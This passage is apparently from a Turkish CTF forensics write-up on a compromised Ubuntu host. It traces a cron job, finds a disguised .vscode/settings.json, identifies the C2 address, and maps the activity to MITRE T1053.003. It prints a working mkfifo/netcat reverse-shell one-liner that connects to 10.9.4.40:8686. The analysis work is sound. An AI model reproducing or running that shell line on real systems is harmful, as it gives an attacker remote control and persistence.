Nov 5 16:03:01 ubuntu CRON[196]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:03:01 ubuntu CRON[193]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:04:01 ubuntu CRON[201]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:04:01 ubuntu CRON[198]: (CRON) info (No MTA installed, discarding output)
```

Şekil 13

Şekil 13'te de görüldüğü üzere *cron job*'ın kullanıldığı dosya `/home/victim/.vscode/settings.json` dosyasıdır.

Flag 14

Cron job'ın amacı sürekli tekrarlanan işlemleri zamanlanmış bir şekilde planlı hale getirmektir. Bu uygulamada sürekli tekrar eden bir komut yer aldığı için *Cron Job*'ın amacı **Recurring Execution** 'dir.

(Platform cevabı Flag Değeri olarak Kabul Etmedi.)

Flag 15

```
root@ubuntu:/home# cd victim/
root@ubuntu:/home/victim# ls
root@ubuntu:/home/victim# ls -la
total 40
drwxr-xr-x 1 victim employeeegroup 4096 Nov  5 15:55 .
drwxr-xr-x 1 root    root           4096 Oct 26  2023 ..
-rw-r--r-- 1 victim employeeegroup  220 Feb 25  2020 .bash_logout
-rw-rw-r-- 1 root    root           3769 Oct 25  2023 .bashrc
drwx----- 2 victim employeeegroup 4096 Nov  5 15:55 .cache
drwxr-xr-x 3 victim employeeegroup 4096 Nov  5 15:55 .local
-rw-r--r-- 1 victim employeeegroup  807 Feb 25  2020 .profile
drwxr-xr-x 1 victim employeeegroup 4096 Oct 26  2023 .ssh
drwxr-xr-x 2 victim employeeegroup 4096 Nov  5 15:55 .vscode
root@ubuntu:/home/victim# cd .vscode/
root@ubuntu:/home/victim/.vscode# ls
settings.json
root@ubuntu:/home/victim/.vscode# cat settings.json
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.4.40 8686 >/tmp/f
```

Şekil 14

Şekil 14'te görüldüğü üzere *cron job*'ın bulunduğu dizinden c2 sunucusunun IP adresi ve port numarası **10.9.4.40:8686** olarak bulunabilir.

Flag 16

The screenshot shows the MITRE ATT&CK website interface. The top navigation bar includes links for Matrices, Tactics, Techniques, Defenses, CTI, Resources, Benefactors, and a Blog. A search bar is located on the right. The left sidebar lists various technique categories, with 'Cron' highlighted under the 'Techniques' section. The main content area displays a table of sub-techniques for T1053.003 (Cron). The table has two columns: ID and Name. The sub-techniques listed are T1053.002 (At), T1053.003 (Cron), T1053.005 (Scheduled Task), T1053.006 (Systemd Timers), and T1053.007 (Container Orchestration Job). To the right of the table, there is a detailed description of the Cron technique, including its tactics (Execution, Persistence, Privilege Escalation), platforms (Linux, macOS), permissions required (User), version (1.1), creation date (03 December 2019), and last modified date (24 March 2022). A 'Version Permalink' link is also provided.

ID	Name
T1053.002	At
T1053.003	Cron
T1053.005	Scheduled Task
T1053.006	Systemd Timers
T1053.007	Container Orchestration Job

Sub-technique of: T1053

① Tactics: Execution, Persistence, Privilege Escalation

① Platforms: Linux, macOS

① Permissions Required: User

Version: 1.1

Created: 03 December 2019

Last Modified: 24 March 2022

[Version Permalink](#)

Adversaries may abuse the `cron` utility to perform task scheduling for initial or recurring execution of malicious code.^[1] The `cron` utility is a time-based job scheduler for Unix-like operating systems. The `crontab` file contains the schedule of cron entries to be run and the specified times for execution. Any `crontab` files are stored in operating system-specific file paths.

An adversary may use `cron` in Linux or Unix environments to execute programs at

Şekil 15

Şekil 15'teki gibi hedef makinede kullanılan MITRE tekniği ise **T1053.003 (Cron)** tekniğidir.

(Platform cevabı Flag Değeri olarak Kabul Etmedi.)